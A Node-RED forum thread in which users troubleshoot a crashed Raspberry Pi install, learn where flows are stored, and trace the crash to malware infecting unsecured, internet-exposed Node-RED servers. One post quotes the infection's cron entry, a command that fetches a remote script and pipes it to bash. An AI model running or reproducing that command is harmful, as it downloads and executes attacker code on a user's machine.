Red-node Crashs

My Node Red crashed during this week end, and i am getting this error message:
Error loading settings file: /home/pi/.node-red/settings.js
ReferenceError: document is not defined
at Object. (/home/pi/.node-red/settings.js:265:1)
at Module._compile (module.js:652:30)
at Object.Module._extensions..js (module.js:663:10)
at Module.load (module.js:565:32)
at tryModuleLoad (module.js:505:12)
at Function.Module._load (module.js:497:3)
at Module.require (module.js:596:17)
at require (internal/module.js:11:18)
at Object. (/usr/lib/node_modules/node-red/red.js:115:20)
at Module._compile (module.js:652:30)

Where the flows are stored in order to do the backup before i reinstall if it is required?
Thanks

Hi @pcpaulo

That error message is not related to your flows. It is saying your settings file has got an error in it - /home/pi/.node-red/settings.js

Have you edited that file recently?

Specifically it says it is using the variable document but it hasn't been defined. If you search the settings file for document does that help you narrow down the error?

To answer you specific question, your flows are stored alongside the settings file, in /home/pi/.node-red. You should see a pair of files called something like flows.json and flows_cred.json. By default it includes the hostname as part of the filename...

But in this instance, a reinstall won't help - its the settings file in the ~/.node-red directory that has the problem.

No, i did not.
If I backup up those files, can i reinstall all raspyberry and restore later.. I will be able to get my flows?

@pcpaulo backing up your flow files is always a good idea.

Right now, the problem you have is your settings file has an error in it. A reinstall isn't going to fix that.

Have a look at your settings file. Look for the word document - does it exist in that file? Does it look valid?

If you want, share your settings file with us here - or send it to me in a private message. This will probably take 2 minutes to fix if you look at your settings file. Far easier than reinstalling everything.

i have a "virus" on my machine. there is an unknow scripts running with cpu 100%.

I believe the best way is to reinstall all environment

If i backup the those file may restore before?

Yes, backup you flow file and creditials file and .node-red/.config.json

Is this Pi exposed to the Internet? What is the application that is using 100% CPU?

Not everything is a virus. It could be that your Node-RED crash was actually symptomatic of a different issue (as might the 100% CPU). For example, a corrupted SD card could easily show similar results.

yes my PI was exposed to the internet without adequate protection.

it was installed on my cron to run every second the command http:// www.tionhgjk.com:8220/mr.sr | bash -sh > /dev/null 2>&1 which run several internal scripts.

YOu are going to need to be careful about restoring your flows - i do not know if anyone has ripped apart the js files to see what that actual virus does that targets machines with NR on it. I certainly know if it was me writing it i would have a flow setup to autorun after NR startup to re-infect the machine.

Make sure your NR is not running as ROOT to minimize that possibility.

Craig

apparently i recuperated the NR, I did NR directory backup , ran the NR upgrade process, after that dashboard and some contribut modules was missing. I removed manually and reinstall it.

perhaps this is a lab machine for learning purpose i was afraid that i could lost my flow.

thanks everybody for the support.

If you want to PM me the script. I'll try to take a look at it to see what it does.

i rebuild the machine and did nod keep the files.

Hi @knolleary

I ran into the same problem. Node Red crashed yesterday. I'v got the same errors like pcpaulo. I checked my settings.js file. It looks like it is messed up. Would you like to check this file and help me to fix it?

Thanks in advance
(sorry for my "not so brilliant" english)

@mdbraber Please do send me your settings file.

Do you expose Node-RED on the internet? If you do, have you got any security configured?

i do expose Node-Red on the internet. I'm new with Node-RED and Raspberry and had no security configured yet.

@mdbraber then it is likely that you have been infected by a virus. You will need to reinstall the Pi.

And please read this post before thinking about exposing it on the internet: ⚠️ Malware Infecting unsecured Node-RED servers

thanks knolleary. I'll reinstall the PI and secure my Node-RED / PI